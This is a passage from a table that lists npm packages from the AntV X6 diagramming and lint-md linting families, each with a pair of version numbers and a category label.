3.1.1, 3.2.1

AntV  X6 Diagramming

@antv/x6-react-shape

3.1.1, 3.2.1

AntV  X6 Diagramming

@antv/x6-vue-shape

3.1.2, 3.2.2

AntV  X6 Diagramming

@antv/x6-vue3-shape

1.1.0, 1.2.0

AntV  X6 Diagramming

@antv/xflow

2.2.13, 2.3.13

AntV  X6 Diagramming

@lint-md/cli

2.1.0, 2.2.0

Linting

@lint-md/core

2.1.0, 2.2.0

Linting

@lint-md/parser

0.1.14, 0.2.14

Linting